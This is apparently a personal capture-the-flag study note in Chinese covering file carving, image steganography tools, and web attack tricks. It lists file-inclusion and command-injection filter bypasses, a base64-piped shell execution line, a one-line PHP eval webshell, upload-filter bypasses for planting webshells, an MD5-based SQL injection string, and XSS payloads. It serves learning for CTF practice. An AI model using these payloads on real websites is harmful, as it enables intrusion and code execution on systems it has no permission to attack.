杂项
文件类型识别
文件分离
-
binwalk工具
-
foremost
-
dd
例如:if= 后跟原文件 即1.txt是原文件,of= 是输出文件名,即要输出的文件为2.txt。bs是块大小(块长度),这里5就代表,12345为一块,count为块的数量,输出几个块。
- winhex
- 010 editor
一个16进制编辑器
文件合并
Windows下 合并文件DOS命令:
copy /B 文件名1+文件名2 合并文件名
文件内容隐写
图片文件隐写
-
Stegsolve
这个java程序,可以实现两张图片的加 减 或等操作,如果两张图片类似,可能做了这些操作后会发现一些新东西,注意有时做运算的顺序也很重要,比如减法操作,1-2和2-1得到的结果是不一样的。 -
zsteg工具
在kali linux下使用,用来检测图片LSB(最低有效位)隐写,需要在线安装。输入命令:gem install zsteg 完成安装。检测LSB隐写命令:zsteg 图片文件名 。它会把所有可能隐藏的文本信息显示出来。
web
文件包含
- 可以利用文件包含查看经过base64编码的php源码
file=php://filter/read=convert.base64-encode/resource=xxx.php
有关php://
命令执行
- 空格被过滤,有一下几种绕过方式。
${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09替换 - base64
使用base64解码和管道符进行输出
echo Y2F0IGZsYWcucGhw | base64 -d | sh (Y2F0IGZsYWcucGhw是flag.php的base64编码)
这个还不懂sh的用法,今后继续学习 - 内敛绕过
将反引号内命令的输出作为输入执行
cat `ls`
文件上传
-
phtml文件也可以执行PHP代码。
-
过滤掉<?时,可以用
<script language="php">eval($_REQUEST[a])</script>
-
上传.htaccess文件,写法有很多种,最常用
AddType application/x-httpd-php .jpg
,若有文件头检测,添加gif文件头GIF89a
可以将jpg当成PHP解析。根据实际情况编写此文件内容 -
上传.user.ini ,这个配置文件基于fastcgi,php5.3以上也是用这个cgi(一种网络接口)。在这个文件中写入
auto_prepend_file=test.jpg
,可以达到和.htaccess配置同样的效果来解析图片马。如果后台用exif_imagetype函数进行检测文件,可以添加文件头来绕过检测。 -
空格绕过,抓包后,在扩展名后加空格
-
后缀名大小写绕过
-
点绕过,扩展名后加点 webshell.php.
-
Windows文件流特性绕过,抓包后,文件名改成webshell.php::$DATA,上传成功后保存的文件名其实是webshell.php
-
点加空格绕过,抓包后文件名改为webshell.php. .
-
突破文件二次渲染,但是需要得到渲染后的文件,对比hex,若某几段没有发生变化,则在该几段中写入木马。可能需要脚本帮助对比hex。gif渲染后变化最少,jpg几乎只有文件头相同。推荐使用gif
-
突破文件重命名,利用条件竞争,用burp不断上传图片马,由于条件竞争可能有遗漏没有重命名。
代码审计
- php中,
md5(string,raw)
,raw的值为true和false,TRUE - 原始 16 字符二进制格式
FALSE - 32 字符十六进制数。ffifdyop 经这个函数后,值为276f722736c95d99e921722cf9ed621c,再转化为字符串就会乱码'or'6<乱码>
。比如select * from 'admin' where password=md5($pass,true)
,pass值为ffifdyop,就会造成select * from admin where password=''or ture
- md5弱类型比较
md5($a) == md5($b)
,0e开头即可,列两个QNKCDZO 240610708,0e开头md5值 - php中涉及读文件时,可以使用data:// 伪协议
echo file_get_contents('data://text/plain;base64,ZmxhZw==','r'); #flag(ZmxhZw==)
XSS
- 利用onfocus属性,标签获取焦点时起作用,
onfocus=javascript:alert('xss')
- 构造a标签
<a href=javascript:alert('xss') > xss</a>
- 双写绕过
- 没有进行实体转义的,ASCII转Unicode绕过